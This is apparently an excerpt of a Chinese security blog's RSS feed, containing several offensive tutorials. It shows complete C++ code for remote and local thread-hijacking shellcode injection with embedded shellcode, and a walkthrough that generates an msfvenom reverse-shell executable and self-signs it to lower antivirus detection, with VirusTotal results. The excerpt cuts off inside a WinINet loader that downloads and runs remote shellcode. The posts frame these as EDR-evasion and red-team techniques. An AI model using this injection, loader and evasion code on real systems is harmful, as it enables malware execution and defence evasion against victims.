&lt;p&gt;希望本次复盘能为其他开发者在实施OAuth 2.0及类似授权协议时提供有价值的参考。&lt;/p&gt;</content:encoded><h:img src="/_astro/state-prevents-oauth-csrf.CG36kYTS.svg"/><enclosure url="/_astro/state-prevents-oauth-csrf.CG36kYTS.svg"/></item><item><title>远程线程劫持的 C++ 实现</title><link>https://blog.0xd00.com/blog/remote-thread-hijacking</link><guid isPermaLink="true">https://blog.0xd00.com/blog/remote-thread-hijacking</guid><description>本文将深入讲解其核心原理：如何挂起目标线程，通过修改上下文（RIP）直接在内存中执行 Shellcode。附带一份完整的 C++ 代码，助你从零到一掌握这种经典的攻防技巧。</description><pubDate>Tue, 29 Jul 2025 15:38:42 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgFlow from &apos;./assets/remoteThreadHijacking.svg&apos;
import imgResult from &apos;./assets/image-20250731114718631.png&apos;&lt;/p&gt;
&lt;h2&gt;远程线程劫持的流程&lt;/h2&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgFlow}
alt=&apos;远程线程劫持流程图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开远程进程和线程&lt;/li&gt;
&lt;li&gt;挂起目标线程&lt;/li&gt;
&lt;li&gt;分配内存并写入 Shellcode&lt;/li&gt;
&lt;li&gt;获取该线程的上下文&lt;/li&gt;
&lt;li&gt;修改上下文中的指令指针（RIP/EIP）指向Shellcode地址&lt;/li&gt;
&lt;li&gt;设置线程上下文&lt;/li&gt;
&lt;li&gt;恢复线程执行&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;C++实现&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;#include &amp;#x3C;windows.h&gt;
#include &amp;#x3C;tlhelp32.h&gt;
#include &amp;#x3C;iostream&gt;

unsigned char buf[] =
&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;
&quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;
&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;
&quot;\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;
&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52&quot;
&quot;\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;
&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40&quot;
&quot;\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48&quot;
&quot;\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41&quot;
&quot;\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1&quot;
&quot;\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;
&quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;
&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a&quot;
&quot;\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b&quot;
&quot;\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00&quot;
&quot;\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b&quot;
&quot;\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd&quot;
&quot;\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0&quot;
&quot;\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff&quot;
&quot;\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00&quot;;

DWORD GetTargetThreadId(DWORD pid) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);

    if (Thread32First(hSnap, &amp;#x26;te32)) {
        do {
            if (te32.th32OwnerProcessID == pid) {
                CloseHandle(hSnap);
                return te32.th32ThreadID;
            }
        } while (Thread32Next(hSnap, &amp;#x26;te32));
    }
    CloseHandle(hSnap);
    return 0;
}

int main() {
    DWORD targetPID = 37904; // 目标进程PID
    DWORD targetTID = GetTargetThreadId(targetPID);

    if (!targetTID) {
        std::cout &amp;#x3C;&amp;#x3C; &quot;[-] 未找到目标线程\n&quot;;
        return -1;
    }

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, targetTID);

    if (!hProcess || !hThread) {
        std::cout &amp;#x3C;&amp;#x3C; &quot;[-] 无法打开进程或线程\n&quot;;
        return -1;
    }

    // 分配内存
    LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(buf),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    // 写入Shellcode
    WriteProcessMemory(hProcess, pRemoteShellcode, buf, sizeof(buf), NULL);

    // 挂起线程
    SuspendThread(hThread);

    // 修改上下文
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hThread, &amp;#x26;ctx);
    ctx.Rip = (DWORD64)pRemoteShellcode;
    SetThreadContext(hThread, &amp;#x26;ctx);

    // 恢复执行
    ResumeThread(hThread);

    std::cout &amp;#x3C;&amp;#x3C; &quot;[+] 线程劫持成功，Shellcode 已执行\n&quot;;

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgResult}
alt=&apos;远程线程劫持执行结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;关于执行时机&lt;/h2&gt;
&lt;p&gt;一个常见的新手误区是：认为调用 ResumeThread 后，Shellcode 会立即执行。但实际情况并非如此。代码在执行结束后过一段时间才会执行shellcode。&lt;/p&gt;
&lt;p&gt;因为当调用 &lt;code&gt;SetThreadContext(hThread, &amp;#x26;ctx)&lt;/code&gt; 并将 &lt;code&gt;Rip&lt;/code&gt; 设置为远程 Shellcode 地址后，&lt;strong&gt;并没有让线程立即运行这段代码&lt;/strong&gt;，而是在&lt;strong&gt;当这个线程被操作系统调度器重新投入运行时，目标线程才会从我们设置的 &lt;code&gt;Rip&lt;/code&gt; 地址开始执行&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这就意味着：&lt;strong&gt;目标线程当前可能处于&quot;挂起&quot;、&quot;等待消息&quot;、&quot;空闲&quot;或&quot;阻塞&quot;状态&lt;/strong&gt;，即使我们调用了 &lt;code&gt;ResumeThread&lt;/code&gt;，也不能保证它立刻被调度执行。&lt;/p&gt;</content:encoded><h:img src="/_astro/remoteThreadHijacking.DWj0qamc.svg"/><enclosure url="/_astro/remoteThreadHijacking.DWj0qamc.svg"/></item><item><title>本地线程劫持的 C++ 实现</title><link>https://blog.0xd00.com/blog/local-thread-hijacking</link><guid isPermaLink="true">https://blog.0xd00.com/blog/local-thread-hijacking</guid><description>深入剖析 Windows 线程劫持技术。本文讲解如何通过挂起线程、修改上下文（RIP/EIP）的方式注入并执行 Shellcode，并提供一份完整的 C++ 代码示例，带你掌握这种隐蔽的代码执行技巧。</description><pubDate>Tue, 29 Jul 2025 13:02:54 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgFlow from &apos;./assets/threadHijacking.svg&apos;
import imgResult from &apos;./assets/image-20250729150258068.png&apos;&lt;/p&gt;
&lt;h2&gt;线程劫持&lt;/h2&gt;
&lt;p&gt;线程劫持（Thread Hijacking）是一种在Windows系统下常见的代码注入与执行技术，广泛应用于红队攻击、渗透测试、恶意软件免杀等领域。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;局部线程创建&lt;/strong&gt;是线程劫持的一种实现方式，也被称为&quot;&lt;strong&gt;本地线程劫持&lt;/strong&gt;&quot;或&quot;&lt;strong&gt;挂起线程创建后劫持&lt;/strong&gt;&quot;。&lt;/p&gt;
&lt;h2&gt;线程劫持的核心思想&lt;/h2&gt;
&lt;p&gt;创建一个被挂起的线程（Suspended Thread），修改其执行上下文（Context），将指令指针（RIP/EIP）指向我们准备好的Shellcode，再恢复线程执行，从而达到执行任意代码的目的。&lt;/p&gt;
&lt;p&gt;这种方式相比于直接使用 &lt;code&gt;CreateThread&lt;/code&gt; 执行Shellcode，具有更强的隐蔽性，因为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;线程是合法创建的（调用 &lt;code&gt;CreateThread&lt;/code&gt; 是正常API）&lt;/li&gt;
&lt;li&gt;Shellcode 并非直接作为线程入口，而是通过修改上下文注入，绕过部分EDR的直接内存扫描&lt;/li&gt;
&lt;li&gt;可实现无文件落地、内存执行&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;本地线程劫持的流程&lt;/h2&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgFlow}
alt=&apos;本地线程劫持流程图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过设置&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread#parameters&quot;&gt;dwCreationFlag&lt;/a&gt;参数创建一个被挂起的线程（CREATE_SUSPENDED）&lt;/li&gt;
&lt;li&gt;分配内存并写入Shellcode&lt;/li&gt;
&lt;li&gt;获取该线程的上下文（&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext&quot;&gt;GetThreadContext&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;修改上下文中的指令指针（RIP/EIP）指向Shellcode地址&lt;/li&gt;
&lt;li&gt;设置线程上下文（&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext&quot;&gt;SetThreadContext&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;恢复线程执行（&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread&quot;&gt;ResumeThread&lt;/a&gt;）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;C++实现&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;#include &amp;#x3C;windows.h&gt;
#include &amp;#x3C;iostream&gt;

// 示例：弹出计算器的Shellcode（Windows x64）
unsigned char buf[] =
&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;
&quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;
&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;
&quot;\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;
&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52&quot;
&quot;\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;
&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40&quot;
&quot;\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48&quot;
&quot;\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41&quot;
&quot;\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1&quot;
&quot;\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;
&quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;
&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a&quot;
&quot;\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b&quot;
&quot;\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00&quot;
&quot;\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b&quot;
&quot;\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd&quot;
&quot;\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0&quot;
&quot;\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff&quot;
&quot;\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00&quot;;

int main() {
    DWORD shellcode_len = sizeof(buf);

    // 1. 创建一个被挂起的线程（入口函数可以是任意函数，这里用MessageBox）
    HANDLE hThread = CreateThread(
        NULL,                    // 安全属性
        0,                       // 栈大小
        (LPTHREAD_START_ROUTINE)MessageBoxW, // 入口函数（实际不会执行）
        NULL,                    // 参数
        CREATE_SUSPENDED,        // 创建后挂起
        NULL                     // 线程ID
    );

    if (hThread == NULL) {
        std::cerr &amp;#x3C;&amp;#x3C; &quot;[-] CreateThread failed: &quot; &amp;#x3C;&amp;#x3C; GetLastError() &amp;#x3C;&amp;#x3C; std::endl;
        return -1;
    }

    std::cout &amp;#x3C;&amp;#x3C; &quot;[+] Suspended thread created: &quot; &amp;#x3C;&amp;#x3C; hThread &amp;#x3C;&amp;#x3C; std::endl;

    // 2. 分配可执行内存并写入Shellcode
    LPVOID pShellcode = VirtualAlloc(
        NULL,
        shellcode_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (pShellcode == NULL) {
        std::cerr &amp;#x3C;&amp;#x3C; &quot;[-] VirtualAlloc failed: &quot; &amp;#x3C;&amp;#x3C; GetLastError() &amp;#x3C;&amp;#x3C; std::endl;
        CloseHandle(hThread);
        return -1;
    }

    memcpy(pShellcode, buf, shellcode_len);

    // 3. 修改内存权限为可执行
    DWORD oldProtect;
    if (!VirtualProtect(pShellcode, shellcode_len, PAGE_EXECUTE_READ, &amp;#x26;oldProtect)) {
        std::cerr &amp;#x3C;&amp;#x3C; &quot;[-] VirtualProtect failed: &quot; &amp;#x3C;&amp;#x3C; GetLastError() &amp;#x3C;&amp;#x3C; std::endl;
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return -1;
    }

    // 4. 获取线程上下文
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;

    if (!GetThreadContext(hThread, &amp;#x26;ctx)) {
        std::cerr &amp;#x3C;&amp;#x3C; &quot;[-] GetThreadContext failed: &quot; &amp;#x3C;&amp;#x3C; GetLastError() &amp;#x3C;&amp;#x3C; std::endl;
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return -1;
    }

    // 5. 修改RIP（64位）或 EIP（32位）指向Shellcode
#ifdef _WIN64
    ctx.Rip = (DWORD64)pShellcode;
#else
    ctx.Eip = (DWORD)pShellcode;
#endif

    // 6. 设置修改后的上下文
    if (!SetThreadContext(hThread, &amp;#x26;ctx)) {
        std::cerr &amp;#x3C;&amp;#x3C; &quot;[-] SetThreadContext failed: &quot; &amp;#x3C;&amp;#x3C; GetLastError() &amp;#x3C;&amp;#x3C; std::endl;
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return -1;
    }

    std::cout &amp;#x3C;&amp;#x3C; &quot;[+] Thread context modified, RIP -&gt; &quot; &amp;#x3C;&amp;#x3C; pShellcode &amp;#x3C;&amp;#x3C; std::endl;

    // 7. 恢复线程执行，开始执行Shellcode
    if (ResumeThread(hThread) == -1) {
        std::cerr &amp;#x3C;&amp;#x3C; &quot;[-] ResumeThread failed: &quot; &amp;#x3C;&amp;#x3C; GetLastError() &amp;#x3C;&amp;#x3C; std::endl;
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        CloseHandle(hThread);
        return -1;
    }

    std::cout &amp;#x3C;&amp;#x3C; &quot;[+] Thread resumed. Shellcode should be executing...&quot; &amp;#x3C;&amp;#x3C; std::endl;

    // 等待线程结束（可选）
    WaitForSingleObject(hThread, INFINITE);

    // 清理资源
    VirtualFree(pShellcode, 0, MEM_RELEASE);
    CloseHandle(hThread);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgResult}
alt=&apos;本地线程劫持执行结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/threadHijacking.B7aHJadx.svg"/><enclosure url="/_astro/threadHijacking.B7aHJadx.svg"/></item><item><title>利用代码签名降低恶意软件熵值</title><link>https://blog.0xd00.com/blog/code-signing-entropy-evasion-technique</link><guid isPermaLink="true">https://blog.0xd00.com/blog/code-signing-entropy-evasion-technique</guid><description>本文深入探讨一种高级规避技术：如何通过数字签名显著降低恶意软件（尤其是加密Payload）的文件熵值。文章包含完整的自签名证书生成与签名实战步骤，并通过VirusTotal测试对比签名前后的检测率变化。</description><pubDate>Mon, 28 Jul 2025 13:51:42 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgBefore from &apos;./assets/image-20250728144613948.png&apos;
import imgAfter from &apos;./assets/image-20250728150735301.png&apos;&lt;/p&gt;
&lt;p&gt;在现代网络攻防的持续博弈中，&lt;strong&gt;熵值 (Entropy)&lt;/strong&gt; 是防御方（如杀毒软件、EDR）检测恶意软件的一个基础且关键的指标。一个文件的熵值反映了其内容的随机或&quot;混乱&quot;程度。恶意软件为了隐藏其真实意图，常常对核心载荷（Payload）进行加密或压缩，这直接导致可执行文件的熵值异常升高，从而触发安全产品的启发式警报。&lt;/p&gt;
&lt;h2&gt;核心原理&lt;/h2&gt;
&lt;p&gt;此策略的有效性源于数字签名数据块本身的特性与&quot;稀释效应&quot;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;签名的低熵特性&lt;/strong&gt;：数字签名并非一串随机字节，而是一个遵循ASN.1标准编码的高度结构化数据块。其中包含了证书信息、颁发者、有效期等具有固定格式的数据，因此其自身熵值很低。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;体积带来的稀释效应&lt;/strong&gt;：一个有效的数字签名（尤其是包含完整证书链时）体积可达数KB到数十KB。当我们将这个相对庞大的&lt;strong&gt;低熵数据块&lt;/strong&gt;附加到一个体积较小但&lt;strong&gt;熵值极高&lt;/strong&gt;（如包含加密Payload）的恶意加载器上时，文件的&lt;strong&gt;平均熵值&lt;/strong&gt;会被显著拉低。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;签名证书的获取方式&lt;/h2&gt;
&lt;h3&gt;购买合法证书&lt;/h3&gt;
&lt;p&gt;通过&lt;code&gt;Sectigo&lt;/code&gt;、&lt;code&gt;DigiCert&lt;/code&gt;等CA机构购买。成本高昂，且滥用会导致证书被吊销和列入黑名单，对攻击者而言风险极高。&lt;/p&gt;
&lt;h3&gt;窃取合法证书&lt;/h3&gt;
&lt;p&gt;通过攻击软件开发商来窃取其代码签名私钥。这是最高效但也最危险的方式，历史上Stuxnet等著名恶意软件均采用此方法。&lt;/p&gt;
&lt;h3&gt;获取网络上泄露的有效证书&lt;/h3&gt;
&lt;p&gt;从开源网站如&lt;code&gt;Github&lt;/code&gt;上获取开发者意外泄露的证书。&lt;/p&gt;
&lt;h3&gt;创建自签名证书&lt;/h3&gt;
&lt;p&gt;这是最简单、零成本的方式，非常适合在受控环境、测试或红队行动中快速生成签名。虽然自签名证书不被操作系统默认信任，但它同样能起到降低熵值的效果。&lt;/p&gt;
&lt;h2&gt;自签名实操&lt;/h2&gt;
&lt;h3&gt;生成自签名证书&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;New-SelfSignedCertificate -DnsName &quot;www.redact.com&quot; -CertStoreLocation &quot;Cert:\CurrentUser\My&quot; -KeyUsage DigitalSignature -Type CodeSigningCert
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;-DnsName &quot;www.trusted-app.com&quot;：证书的主题名称，可以自定义成任何看起来合法的域名。&lt;/li&gt;
&lt;li&gt;-CertStoreLocation &quot;Cert:\CurrentUser\My&quot;：将证书存储在当前用户的个人证书库中。&lt;/li&gt;
&lt;li&gt;-KeyUsage DigitalSignature：指定密钥用途为数字签名。&lt;/li&gt;
&lt;li&gt;-Type CodeSigningCert：指定证书类型为代码签名证书。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;导出为PFX文件&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# 1. 设置一个用于保护PFX文件的密码
$password = ConvertTo-SecureString -String &quot;YourSecurePassword123&quot; -Force -AsPlainText

# 2. 获取我们刚刚创建的证书
$cert = Get-ChildItem -Path &quot;Cert:\CurrentUser\My&quot; | Where-Object { $_.Subject -like &quot;CN=www.redact.com&quot; } | Select-Object -First 1

# 3. 导出证书到文件
Export-PfxCertificate -Cert $cert -FilePath &quot;D:\Test\MyCodeSign.pfx&quot; -Password $password
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;生成高熵的恶意文件&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -e x64/xor -f exe -o malware.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过&lt;a href=&quot;https://www.virustotal.com/gui/home/upload&quot;&gt;VirusTotal&lt;/a&gt;查看检测率，检测结果&lt;code&gt;54/72&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgBefore}
alt=&apos;签名前的恶意软件VirusTotal检测结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;使用 signtool.exe 进行签名&lt;/h3&gt;
&lt;p&gt;一般来说只要安装了&lt;code&gt;Virtual Studio&lt;/code&gt;的C++开发环境就无需手动安装，如果没找到则在&lt;a href=&quot;https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/&quot;&gt;这里&lt;/a&gt;安装。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;signtool.exe sign /f &quot;D:\Test\MyCodeSign.pfx&quot; /p &quot;YourSecurePassword123&quot; /t http://timestamp.digicert.com /fd SHA256 /v malware.exe
The following certificate was selected:
    Issued to: www.redact.com
    Issued by: www.redact.com
    Expires:   Tue Jul 28 14:11:48 2026
    SHA1 hash: 10A95CE1A5BC76B6798E5EE5DF8139D7D503EE04

Done Adding Additional Store
Successfully signed: malware.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，在仅通过自签名的方式VirusTotal的检测率就降为了&lt;code&gt;50/72&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgAfter}
alt=&apos;签名后的恶意软件VirusTotal检测结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250728150735301.qJkIzelC.png"/><enclosure url="/_astro/image-20250728150735301.qJkIzelC.png"/></item><item><title>使用 C 和 WinINet 编写分段式 Shellcode 加载器</title><link>https://blog.0xd00.com/blog/windows-staged-payload-loader</link><guid isPermaLink="true">https://blog.0xd00.com/blog/windows-staged-payload-loader</guid><description>深入理解分段式(staged)与一体式(stageless)载荷的优劣。本文通过一个完整的C语言实战，教你如何使用WinINet系列API从远程服务器下载Shellcode，并利用VirtualAlloc分配可执行内存，最终实现一个精简而有效的分段式加载器（Stager）。</description><pubDate>Fri, 25 Jul 2025 11:03:55 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgExecution from &apos;./assets/image-20250725152146715.png&apos;&lt;/p&gt;
&lt;h2&gt;一体式载荷(stageless payload)&lt;/h2&gt;
&lt;p&gt;我之前文章中编写的例子都是属于一体式载荷。载荷的所有功能代码（例如完整的Meterpreter或Cobalt Strike Beacon）被打包在一个单独的文件或Shellcode中一次性发送给目标。相对来说体积更大，因为包含了完整的功能，&lt;strong&gt;很容易&lt;/strong&gt;被静态查杀。&lt;/p&gt;
&lt;h2&gt;分段式载荷(staged payload)&lt;/h2&gt;
&lt;p&gt;将载荷拆为两部分。&lt;/p&gt;
&lt;p&gt;第一阶段(stage 0/stager)：通常体积很小很精简，唯一的功能就是从远端加载二阶段载荷。&lt;/p&gt;
&lt;p&gt;第二阶段(stage 1)：包含实际功能的的代码片段。&lt;/p&gt;
&lt;p&gt;第一阶段的载荷因为体积小，也不包含恶意API，&lt;strong&gt;相对较容易绕过&lt;/strong&gt;静态查杀。因为体积小也更容易适用于多种内存受限的场合，如缓冲区溢出。&lt;/p&gt;
&lt;h2&gt;实现分段式载荷&lt;/h2&gt;
&lt;h3&gt;准备工作&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;# 生成一个64位的计算器Shellcode，并保存为原始二进制文件
msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f raw -o calc.bin EXITFUNC=thread
# 在存放calc.bin的目录下执行
python -m http.server 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;理解实现原理&lt;/h3&gt;
&lt;h4&gt;关键API&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenw&quot;&gt;InternetOpenW&lt;/a&gt; - 初始化 WinINet 库，获取一个会话句柄，这是所有网络操作的起点。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurlw&quot;&gt;InternetOpenUrlW&lt;/a&gt; - 打开指定的 URL，并返回一个可以用于读取远程资源的句柄。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-httpqueryinfow&quot;&gt;HttpQueryInfoW&lt;/a&gt; - 查询 HTTP 响应头信息。我们将用它来获取载荷的实际大小（Content-Length），以精确地分配内存。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetreadfile&quot;&gt;InternetReadFile&lt;/a&gt; - 从 InternetOpenUrlW 返回的句柄中读取数据，也就是下载我们的 Payload。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetclosehandle&quot;&gt;InternetCloseHandle&lt;/a&gt; - 任务完成后，释放所有打开的 WinINet 句柄。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;动手实现&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;windows.h&gt;
#include &amp;#x3C;wininet.h&gt;
#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;wchar.h&gt; // 引入宽字节I/O函数所需的头文件 (wprintf)

#pragma comment(lib, &quot;wininet.lib&quot;)

int main() {
    // 变量声明 (使用宽字节类型)
    HINTERNET hInternet = NULL;
    HINTERNET hConnect = NULL;
    // 使用LPCWSTR (Long Pointer to Constant Wide String) 和 L&quot;&quot; 宽字符串字面量
    LPCWSTR szUrl = L&quot;http://localhost:8000/calc.bin&quot;;
    LPVOID pShellcode = NULL;
    HANDLE hThread = NULL;

    DWORD dwBytesRead = 0;
    DWORD dwContentLength = 0;
    DWORD dwContentLengthSize = sizeof(dwContentLength);

    DWORD dwStatusCode = 0;
